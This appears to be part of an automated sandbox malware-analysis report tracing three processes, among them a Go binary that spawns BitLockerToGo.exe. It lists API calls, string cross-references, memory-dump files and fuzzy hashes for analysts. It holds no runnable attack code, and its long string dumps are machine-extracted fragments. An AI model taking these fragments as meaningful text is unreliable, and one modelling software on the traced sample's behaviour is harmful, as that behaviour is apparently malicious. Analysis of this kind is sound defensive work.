Opcode Fuzzy Hash: f97aaaf949171a2904a8fe23ed725e9e394508c7fb8bb295341962652909a67e
Instruction Fuzzy Hash: A241B362A1C782A5EA10BB15E8453BFE350EFC9790F904231EA9D066DAEFBFD541C710

Function 00007FF70ECFF7A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ECFF7CA
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF70ECF64A5), ref: 00007FF70ECFF7EB

Strings

C:\Users\user\Desktop\HLZwUhcJ28.exe, xrefs: 00007FF70ECFF7D9

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\HLZwUhcJ28.exe
API String ID: 3307058713-1136380477
Opcode ID: d741bd9ac7dff40685a7c943ead455491a0e4fb3fffc5812c1fd7ad0a856b466
Instruction ID: 62f67f09bbdd0a83d343b3fdd3b2bb76cb0aacd7e3b651c0653ecb7adefd8e55
Opcode Fuzzy Hash: d741bd9ac7dff40685a7c943ead455491a0e4fb3fffc5812c1fd7ad0a856b466
Instruction Fuzzy Hash: 1C419232A08796A9E715EF259C501BDF794EF447D4B98403AE94D87B85DF3EE8418320

Function 00007FF70ECD9A38 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70ECD9AEA

Part of subcall function 00007FF70ECE0688: WideCharToMultiByte.KERNEL32 ref: 00007FF70ECE06B9

Strings

@%s, xrefs: 00007FF70ECD9ACE
$%s, xrefs: 00007FF70ECD9AD7

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 9a1500ef5950f5f5df7c550d69d7960993ad2cdd50597e18fe19dfb01623cb94
Instruction ID: f4eccb2bd2b6936ed18b15925f80e06c0fc68f31b84d8db74aac39a1a9164566
Opcode Fuzzy Hash: 9a1500ef5950f5f5df7c550d69d7960993ad2cdd50597e18fe19dfb01623cb94
Instruction Fuzzy Hash: 2131E576B1CA46A5EA20AF65E8407FAA7A0FF84784F801032EE0D07B95DF7EE505C710

Function 00007FF70ECE00F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF70ECF3B27
DialogBoxParamW.USER32 ref: 00007FF70ECF3B5C

Strings

GETPASSWORD1, xrefs: 00007FF70ECF3B55

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: a2794da179741b2778ea55df48dbaa3dbee7a858d049ebb80305366bfd0fb870
Instruction ID: c759e39f0235e01c38ede2ab9c991f42fc7ef131b49d1bd69416bb5ab6276af3
Opcode Fuzzy Hash: a2794da179741b2778ea55df48dbaa3dbee7a858d049ebb80305366bfd0fb870
Instruction Fuzzy Hash: E5315025B0D6C2A9EA11AF26AC641BABB60FF49B84FC80076D98D07756CF2DE444C370

Function 00007FF70ED02014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF70ED02086
GetFileType.KERNEL32 ref: 00007FF70ED0209C

Strings

@, xrefs: 00007FF70ED020C7

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: cfc5635d5d47b790a45b886e407ba3a029ac6da1d5fa2ca2579a3853925e004a
Instruction ID: e22ba67c98a58c1e5660ef45e92c2ec4f95958eb8fd90291091143104ba1aee9
Opcode Fuzzy Hash: cfc5635d5d47b790a45b886e407ba3a029ac6da1d5fa2ca2579a3853925e004a
Instruction Fuzzy Hash: AB21D522E09B8281EB609B249C98339A651EF45774FAC0336D6AE477E5CF3DD981C320

Function 00007FF70ECF7848 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF70ECF57EE), ref: 00007FF70ECF788C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF70ECF57EE), ref: 00007FF70ECF78D2

Strings

csm, xrefs: 00007FF70ECF78BF

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: f9cbc5942d5ed5241ddbc86705efc511784e5adb6a39813d68a5b78bd03bb5cb
Instruction ID: 9c5fe7e9648abc1819b089b964fbf59e414f7803d859e74b452aaf920a3d1c9c
Opcode Fuzzy Hash: f9cbc5942d5ed5241ddbc86705efc511784e5adb6a39813d68a5b78bd03bb5cb
Instruction Fuzzy Hash: 8B115E32A18B8592EB249F15F84026AB7A1FF88B88F584232EF8D17758DF3DD551CB00

Function 00007FF70ECDA83C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF70ECDA847
FindResourceW.KERNEL32 ref: 00007FF70ECDA85D

Strings

RTL, xrefs: 00007FF70ECDA853

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: a45610fe9d42f5f181feef3a06741817b69cf11aeaebfa57cd0cb73b5dfd576c
Instruction ID: 50f45de7625db5ef3340614513294989abefce5e91a6bc9e415bdd5a8c2bb51f
Opcode Fuzzy Hash: a45610fe9d42f5f181feef3a06741817b69cf11aeaebfa57cd0cb73b5dfd576c
Instruction Fuzzy Hash: E3D017A1F0D70782FF296B63AC4837556509F1AB41F8C0039C82D47790EF6E91988764

Analysis Process: Imperial_Delay.exePID: 1136, Parent PID: 1216COMMON

Non-executed Functions

Function 009BA2B0 Relevance: 11.4, Strings: 9, Instructions: 182COMMON

Download Yara Rule

Strings

runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerohttp: putIdleConn: connection is in bad stateinvalid request :path %q from URL.Opaque = %qhttp: multipart handled by ParseMul, xrefs: 009BA556
%, xrefs: 009BA5EE
runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:, xrefs: 009BA4FB
runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!http: invalid byte %q in Cookie.Valueunexpected CONTINUATION for stream %dh, xrefs: 009BA5E5
bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchout of range%!(BADWIDTH)Cookie.Valuecontent-typemax-forwardshttp2deb, xrefs: 009BA4D4
runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerohttp: putIdleConn: connection is in bad stateinvalid request :path %q from URL.O, xrefs: 009BA5B1
) @s -> Pn=][}]i)> +%!)(tvrRuUeEaAlLsS01bBoOxX+-nNiIfFpP; h2te80]:%T">OK])//":\t\r\n\"ip53._25\a\f[] %-ONWSLlLtLuMnCcCfCoCsLmLoMcMeNdNlNoPcPdPePfPiPoPsScSkSmSoZlZpZsYi=#OUCNST"iv-- ToA4V1V6V2V3V5A3*.}}MX0b0x0X0o%sV7/.v7v6,go==!=no%%jsorgegtleltne, xrefs: 009BA4B9
VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timerhttp2: aborting request body writehttp: persistConn.readLoop exitinghttp: read on closed r, xrefs: 009BA52F
CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: waitforsingleobject wait_failed; errno=strconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10reflect: CallSlice w, xrefs: 009BA58A

Memory Dump Source

Source File: 00000001.00000002.1878419638.0000000000981000.00000020.00000001.01000000.00000009.sdmp, Offset: 00980000, based on PE: true

Associated: 00000001.00000002.1878406241.0000000000980000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1878934216.0000000001166000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1878934216.00000000013F3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879422155.0000000001968000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879436486.000000000196A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879449636.000000000196E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879462623.000000000196F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879475252.0000000001970000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879488305.0000000001973000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879501201.0000000001974000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879530337.00000000019B4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879545453.00000000019C0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879559240.00000000019C1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879572179.00000000019C2000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879584442.00000000019C3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879598425.00000000019C6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879612799.00000000019C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879612799.00000000019D1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879612799.00000000019F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879612799.00000000019F8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879669718.00000000019FB000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879682459.00000000019FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879682459.0000000001A65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_980000_Imperial_Delay.jbxd

Similarity

API ID:
String ID: %$) @s -> Pn=][}]i)> +%!)(tvrRuUeEaAlLsS01bBoOxX+-nNiIfFpP; h2te80]:%T">OK])//":\t\r\n\"ip53._25\a\f[] %-ONWSLlLtLuMnCcCfCoCsLmLoMcMeNdNlNoPcPdPePfPiPoPsScSkSmSoZlZpZsYi=#OUCNST"iv-- ToA4V1V6V2V3V5A3*.}}MX0b0x0X0o%sV7/.v7v6,go==!=no%%jsorgegtleltne$CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: waitforsingleobject wait_failed; errno=strconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10reflect: CallSlice w$VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timerhttp2: aborting request body writehttp: persistConn.readLoop exitinghttp: read on closed r$bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchout of range%!(BADWIDTH)Cookie.Valuecontent-typemax-forwardshttp2deb$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerohttp: putIdleConn: connection is in bad stateinvalid request :path %q from URL.O$runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!http: invalid byte %q in Cookie.Valueunexpected CONTINUATION for stream %dh$runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerohttp: putIdleConn: connection is in bad stateinvalid request :path %q from URL.Opaque = %qhttp: multipart handled by ParseMul$runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:
API String ID: 0-2464228840
Opcode ID: aff75ba3bf0c971c4c41da543a799e7275d212e99a772a1a48a18af560ad39e1
Instruction ID: d65f1fffce2f0da8cc4fe8ac86248758ac8ece9486461d054cff786cb21c97d3
Opcode Fuzzy Hash: aff75ba3bf0c971c4c41da543a799e7275d212e99a772a1a48a18af560ad39e1
Instruction Fuzzy Hash: 0691EEB4509301DFD310EF68C695B9ABBE4BF88724F00892DE4988B352E7B5D949CF52

Function 009CA970 Relevance: 6.3, Strings: 5, Instructions: 83COMMON

Download Yara Rule

Strings

releasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartunexpected key value typeExpandEnvironmentStringsWno hex dat, xrefs: 009CAAA7
p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by %!(BADPREC)bad verb '%0123456789_http2serverhttp2cl, xrefs: 009CAA73
releasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionfeature not supportedhttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vUnhandle, xrefs: 009CAABD
m->p= p->m=SCHED curg= ctxt: min= max= (...) base Format[]byte' for stringBasic CookiecookieexpectserverclosedmethodExpectPragma</a>.socks socks5CANCELGOAWAYPADDED, val numbernetdns.localreturn.onionip+netdomaingophertelnet390625uint16uint32uint64structch, xrefs: 009CAA27
releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchout of range%!(BADWIDTH)Cookie.Valuecontent-typemax-forwardshttp2debug=1http2debug=2100-continuerecv_goaway_status code Multi-StatusNot ModifiedUnauthorizedI'm a te, xrefs: 009CAA05

Memory Dump Source

Source File: 00000001.00000002.1878419638.0000000000981000.00000020.00000001.01000000.00000009.sdmp, Offset: 00980000, based on PE: true

Associated: 00000001.00000002.1878406241.0000000000980000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1878934216.0000000001166000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1878934216.00000000013F3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879422155.0000000001968000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879436486.000000000196A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879449636.000000000196E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879462623.000000000196F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879475252.0000000001970000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879488305.0000000001973000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879501201.0000000001974000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879530337.00000000019B4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879545453.00000000019C0000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879559240.00000000019C1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879572179.00000000019C2000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879584442.00000000019C3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879598425.00000000019C6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879612799.00000000019C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879612799.00000000019D1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879612799.00000000019F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879612799.00000000019F8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879669718.00000000019FB000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879682459.00000000019FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1879682459.0000000001A65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_980000_Imperial_Delay.jbxd

Similarity

API ID:
String ID: m->p= p->m=SCHED curg= ctxt: min= max= (...) base Format[]byte' for stringBasic CookiecookieexpectserverclosedmethodExpectPragma</a>.socks socks5CANCELGOAWAYPADDED, val numbernetdns.localreturn.onionip+netdomaingophertelnet390625uint16uint32uint64structch$ p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by %!(BADPREC)bad verb '%0123456789_http2serverhttp2cl$releasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionfeature not supportedhttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vUnhandle$releasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartunexpected key value typeExpandEnvironmentStringsWno hex dat$releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchout of range%!(BADWIDTH)Cookie.Valuecontent-typemax-forwardshttp2debug=1http2debug=2100-continuerecv_goaway_status code Multi-StatusNot ModifiedUnauthorizedI'm a te
API String ID: 0-3151324080
Opcode ID: 294ec51f8d2b2a921d4f22f713c438d926fbd704749ce1b05c4096db3cc1186e
Instruction ID: 1dca18459467e9cc5d88ddda612ff35af16ac3544d5e503edb84efa45045e316
Opcode Fuzzy Hash: 294ec51f8d2b2a921d4f22f713c438d926fbd704749ce1b05c4096db3cc1186e
Instruction Fuzzy Hash: B94102B4508745DFE310EF28D295B5ABBE4BF88324F01896DE4888B312D774D884DB62

Analysis Process: BitLockerToGo.exePID: 2676, Parent PID: 1136COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36.1%
Total number of Nodes:	252
Total number of Limit Nodes:	23

Executed Functions

Function 004321CC Relevance: 32.4, APIs: 5, Strings: 12, Instructions: 2634COMMON

Download Yara Rule

Strings

~ffv, xrefs: 00432726
{o}', xrefs: 0043273A
a_, xrefs: 004330B4
&N, xrefs: 00432A91
7M, xrefs: 0043315F
MNOP, xrefs: 004337FF
(M, xrefs: 00433123
\%QZ, xrefs: 00433A9F
tr, xrefs: 00432A9B
lL\J, xrefs: 004328E2
2AC, xrefs: 00433D81, 00434097
jXJ2, xrefs: 00432B52

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: a_$&N$(M$2AC$7M$MNOP$\%QZ$jXJ2$lL\J$tr${o}'$~ffv
API String ID: 0-3686979115
Opcode ID: 4611b88beb6ccb50771dc7916f51dade34d99978ba48bb579bdfeb48ba7b1672
Instruction ID: 3656d1d5997a86bc1b36dec66e79683f19dbb65fa1b2c960236edae77f7af5b8
Opcode Fuzzy Hash: 4611b88beb6ccb50771dc7916f51dade34d99978ba48bb579bdfeb48ba7b1672
Instruction Fuzzy Hash: CF031670604B818BE7258F3584907A3BBE1AF5B305F1899AEC1EB4B383C77DA506CB55

Function 0043DAF2 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 252
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(o1c3), ref: 0043DB66
SysAllocString.OLEAUT32(135F1163), ref: 0043DC5F
SysAllocString.OLEAUT32(o1c3), ref: 0043DCF6
SysAllocString.OLEAUT32(135F1163), ref: 0043DDEF

Strings

h=>?, xrefs: 0043DC88
!, xrefs: 0043DD60
S%U', xrefs: 0043DD58
o1c3, xrefs: 0043DB61, 0043DB65
n=Y?, xrefs: 0043DD48
K5_7, xrefs: 0043DD38
z9s;, xrefs: 0043DD50

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID: !$K5_7$S%U'$h=>?$n=Y?$o1c3$z9s;
API String ID: 2525500382-3441675521
Opcode ID: 5e3a75a4ddf47f3f25c6a00477788f6c1369728b9cc9b9551bac2f01f7343e3d
Instruction ID: e375b97578b392eabe0a7dd7cc219a651d78669318e9ed7630db87dab6690228
Opcode Fuzzy Hash: 5e3a75a4ddf47f3f25c6a00477788f6c1369728b9cc9b9551bac2f01f7343e3d
Instruction Fuzzy Hash: 55710FB2E183109FD314CF65D88434BBBE6EFD9344F09D92DE985AB214C77889098B82

Function 0043DE1A Relevance: 14.5, APIs: 6, Strings: 2, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0043DE73
VariantClear.OLEAUT32(?), ref: 0043E01A
SysFreeString.OLEAUT32 ref: 0043E035
SysFreeString.OLEAUT32(?), ref: 0043E043
SysFreeString.OLEAUT32(?), ref: 0043E054
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043E091

Strings

ts, xrefs: 0043DEB1
MNOP, xrefs: 0043E2A2

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeString$Variant$ClearInformationInitVolume
String ID: MNOP$ts
API String ID: 1717694972-559354537
Opcode ID: 54e60837902f482b477f2362dcacf9aa76a2d5e001c8c391ff905926b9de8589
Instruction ID: 0cc59e07f5492757604fa8be6fdf46c9643aade133964c6e2580995c58aea401
Opcode Fuzzy Hash: 54e60837902f482b477f2362dcacf9aa76a2d5e001c8c391ff905926b9de8589
Instruction Fuzzy Hash: 43E11076A08300DFDB04CF69D881BAFB7A5FB89305F18882DE586972A1E778D905CB45

Function 0040D740 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 174
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteW.SHELL32(00000000,?,0044B3DA,?,00000000,00000005), ref: 0040D915
GetCurrentThreadId.KERNEL32 ref: 0040D924
GetInputState.USER32 ref: 0040D92A
GetCurrentProcessId.KERNEL32(?,00000000,00000005), ref: 0040D934
ExitProcess.KERNEL32 ref: 0040D954

Strings

XY, xrefs: 0040D8A4

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CurrentProcess$ExecuteExitInputShellStateThread
String ID: XY
API String ID: 288744916-554446067
Opcode ID: 7026894f862dffd87aba4c6d55ee65ac830496e22894bc787cf636a69c118e3f
Instruction ID: 465d4b7a2585bc09fb711781e3a3ae6e6e5e6265eec9b9c9a6ba7f1e9973c278
Opcode Fuzzy Hash: 7026894f862dffd87aba4c6d55ee65ac830496e22894bc787cf636a69c118e3f
Instruction Fuzzy Hash: C0515772A582114BD7089F74CC167AFBBD1DBD2718F089A3DD4C6EB291DA7C8C058785

Function 00431C50 Relevance: 4.2, Strings: 3, Instructions: 438
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-,#, xrefs: 00431E35
PLYY, xrefs: 00431CFC
KTPF, xrefs: 00431CF2

Memory Dump Source

